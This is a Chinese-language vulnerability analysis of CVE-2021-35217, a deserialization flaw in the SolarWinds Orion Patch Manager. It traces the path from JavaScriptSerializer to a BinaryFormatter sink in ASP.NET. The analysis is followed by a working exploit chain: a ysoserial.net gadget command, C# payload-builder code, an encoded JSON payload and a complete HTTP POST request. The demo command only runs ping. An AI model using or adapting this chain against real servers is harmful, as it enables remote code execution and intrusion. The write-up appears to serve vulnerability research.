SolarWinds Patch Manager WSAsyncExecuteTasks 反序列化 (CVE-2021–35217)

Contents

SolarWinds Patch Manager WSAsyncExecuteTasks 反序列化 (CVE-2021–35217)

分析

https://xz.aliyun.com/t/10412

该漏洞位于 SolarWinds Orion Platform 的 Patch Manager 组件

入口点为 /Orion/PM/Controls/WSAsyncExecuteTasks.aspx

通过 JavaScriptSerializer 将 POST 数据受限反序列化为 JSTaskItem 数组, 然后调用 ExecuteItem 方法处理依次处理每个 JSTaskItem 对象

JSTaskItem 定义

ExecuteItem

代码先把 ServerControlDefinition 内的键值对处理为 parameters 字典, 例如 a=b|c=d|e=f

然后调用 LoadControl 方法加载控件, 并判断控件是否属于 ScmResourceBaseAsync 类型, 最后通过 setProperty 方法调用该控件属性的 setter (跟前一个漏洞 CVE-2021–35215 逻辑类似)

ScmResourceBaseAsync 继承自 UserControl, 它的 OnLoad 方法存在 BinaryFormatter 反序列化

相关的属性可以通过上面的 setter 赋值

Serializer.Deserialize

注意 Base64Encode 和 Base64Decode 的逻辑

最后提一句这个漏洞的触发流程, 本质上是 ASP.NET Web Forms 的生命周期

https://learn.microsoft.com/zh-cn/dotnet/api/system.web.ui.templatecontrol.loadcontrol

https://learn.microsoft.com/zh-cn/previous-versions/aspnet/ms178472(v=vs.100)

https://www.cnblogs.com/edisonchou/p/4216337.html

JavaScriptSerializer 反序列化位于 WSAsyncExecuteTasks 类的 OnInit 方法

BinaryFormatter 反序列化位于 ScmResourceBaseAsync 控件的 OnLoad 方法

在 WSAsyncExecuteTasks 的 OnInit 方法内部, 调用 LoadControl 方法加载了 ScmResourceBaseAsync 控件

根据文档, LoadControl 方法将控件加载到容器控件中时, 容器将引发添加的所有控件事件, 直到它赶上当前事件

也就是说 ScmResourceBaseAsync 也会执行到 (赶上) 它本身的 OnInit 方法

之后按照流程会先触发 WSAsyncExecuteTasks 的 OnLoad 方法, 接着递归调用 Controls 集合中各个控件的 OnLoad 方法, 此时就会触发 ScmResourceBaseAsync 的 OnLoad 方法

最后上面的 LoadControl 方法需要指定一个实际存在的 ascx 文件, 我用的是 ~/Orion/PM/Controls/Node/WSUSNodeDetailCtrl.ascx

理论上随便一个继承 ScmResourceBaseAsync 并且没有重写 OnLoad 方法修改逻辑的 ascx 都行

ysoserial.net

1
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "ping -t localhost"

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
using System;
using System.Text;
using System.Web;
using System.Web.Script.Serialization;

namespace SolarWindsDemo
{
	class JSTaskItem
	{
		public string ResourceId { get; set; }
		public string Hash { get; set; }
		public string ServerMethod { get; set; }
		public string ServerControlDefinition { get; set; }
		public object[] Parameters { get; set; }
	}

	internal class Program
	{
		static string Base64Encode(byte[] str)
		{
			return HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes(Convert.ToBase64String(str)));
		}

		static void Main(string[] args)
		{
			string payload = "payload";

			string serverControlDefinition = "Control=~/Orion/PM/Controls/Node/WSUSNodeDetailCtrl.ascx" +
				"|config.PreLoadMethodSerial=System.Object;ToString" +
				"|config.ParametersSerial=" + Base64Encode(Convert.FromBase64String(payload));

			JSTaskItem item = new JSTaskItem();
			item.ServerControlDefinition = HttpUtility.UrlEncode(serverControlDefinition);

			JSTaskItem[] items = new JSTaskItem[] { item };

			JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
			string data = javaScriptSerializer.Serialize(items);

			Console.WriteLine(data);
		}
	}
}

json

1
2
3
4
5
6
7
[{
	"ResourceId": null,
	"Hash": null,
	"ServerMethod": null,
	"ServerControlDefinition": "Control=~/Orion/PM/Controls/Node/WSUSNodeDetailCtrl.ascx|config.PreLoadMethodSerial=System.Object;ToString|config.ParametersSerial=QUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXdBVThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE1UWWlQejROQ2p4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJZ1RXVjBhRzlrVG1GdFpUMGlVM1JoY25RaUlFbHpTVzVwZEdsaGJFeHZZV1JGYm1GaWJHVmtQU0pHWVd4elpTSWdlRzFzYm5NOUltaDBkSEE2THk5elkyaGxiV0Z6TG0xcFkzSnZjMjltZEM1amIyMHZkMmx1Wm5ndk1qQXdOaTk0WVcxc0wzQnlaWE5sYm5SaGRHbHZiaUlnZUcxc2JuTTZjMlE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpPMkZ6YzJWdFlteDVQVk41YzNSbGJTSWdlRzFzYm5NNmVEMGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd2lQZzBLSUNBOFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrOWlhbVZqZEVsdWMzUmhibU5sUGcwS0lDQWdJRHh6WkRwUWNtOWpaWE56UGcwS0lDQWdJQ0FnUEhOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUNBZ0lDQThjMlE2VUhKdlkyVnpjMU4wWVhKMFNXNW1ieUJCY21kMWJXVnVkSE05SWk5aklIQnBibWNnTFhRZ2JHOWpZV3hvYjNOMElpQlRkR0Z1WkdGeVpFVnljbTl5Ulc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVGRHRnVaR0Z5WkU5MWRIQjFkRVZ1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVlhObGNrNWhiV1U5SWlJZ1VHRnpjM2R2Y21ROUludDRPazUxYkd4OUlpQkViMjFoYVc0OUlpSWdURzloWkZWelpYSlFjbTltYVd4bFBTSkdZV3h6WlNJZ1JtbHNaVTVoYldVOUltTnRaQ0lnTHo0TkNpQWdJQ0FnSUR3dmMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ1BDOXpaRHBRY205alpYTnpQZzBLSUNBOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0TkNqd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlQZ3M90",
	"Parameters": null
}]

http

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /Orion/PM/Controls/WSAsyncExecuteTasks.aspx HTTP/1.1
Host: 192.168.145.128:8787
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _ga=GA1.1.638848863.1707451391; _gid=GA1.1.286156450.1707451391; __AntiXsrfToken=80bdf7efcff84c89b436c4971d84bf19; ASP.NET_SessionId=c1crs2fqja0zxs0kit5ghf1b; Orion_IsSessionExp=TRUE; _ga_L3BL75GKSG=GS1.1.1707539786.4.1.1707543166.0.0.0; .ASPXAUTH=020EEF20BCF8AE09AE7792F22E05EA35566CE80EDC7F059355A7B4DC6D602D070D368BCD85FDD0AF74C02648B966040B248A74AC7617FE2DB9BCAFF9E1A9D834664748F06D512E77A183A6BCAE03E19FB9228F2A402FC720B9F7844E630DA7D95E4BD9013A6CD680D7E0EACBBA798BB9E2629E8D42C7A1747F00CA56E21D0277AD2E1386B11912A0A52A55CB77BE0D1811747B6C92F98A7BA4FE7ED1428A25AADA87F03BA8C3BBDBB7F04EF524BA6732; XSRF-TOKEN=cMKUUaY2DeT9hixkjW4f+WWgs+dB+RoJZIPNhyEC45Q=
Connection: close
Content-Type: application/json
Content-Length: 1904

[{"ResourceId":null,"Hash":null,"ServerMethod":null,"ServerControlDefinition":"Control%3d%7e%2fOrion%2fPM%2fControls%2fNode%2fWSUSNodeDetailCtrl.ascx%7cconfig.PreLoadMethodSerial%3dSystem.Object%3bToString%7cconfig.ParametersSerial%3dQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXdBVThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE1UWWlQejROQ2p4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJZ1RXVjBhRzlrVG1GdFpUMGlVM1JoY25RaUlFbHpTVzVwZEdsaGJFeHZZV1JGYm1GaWJHVmtQU0pHWVd4elpTSWdlRzFzYm5NOUltaDBkSEE2THk5elkyaGxiV0Z6TG0xcFkzSnZjMjltZEM1amIyMHZkMmx1Wm5ndk1qQXdOaTk0WVcxc0wzQnlaWE5sYm5SaGRHbHZiaUlnZUcxc2JuTTZjMlE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpPMkZ6YzJWdFlteDVQVk41YzNSbGJTSWdlRzFzYm5NNmVEMGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd2lQZzBLSUNBOFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrOWlhbVZqZEVsdWMzUmhibU5sUGcwS0lDQWdJRHh6WkRwUWNtOWpaWE56UGcwS0lDQWdJQ0FnUEhOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUNBZ0lDQThjMlE2VUhKdlkyVnpjMU4wWVhKMFNXNW1ieUJCY21kMWJXVnVkSE05SWk5aklIQnBibWNnTFhRZ2JHOWpZV3hvYjNOMElpQlRkR0Z1WkdGeVpFVnljbTl5Ulc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVGRHRnVaR0Z5WkU5MWRIQjFkRVZ1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVlhObGNrNWhiV1U5SWlJZ1VHRnpjM2R2Y21ROUludDRPazUxYkd4OUlpQkViMjFoYVc0OUlpSWdURzloWkZWelpYSlFjbTltYVd4bFBTSkdZV3h6WlNJZ1JtbHNaVTVoYldVOUltTnRaQ0lnTHo0TkNpQWdJQ0FnSUR3dmMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ1BDOXpaRHBRY205alpYTnpQZzBLSUNBOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0TkNqd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlQZ3M90","Parameters":null}]

0%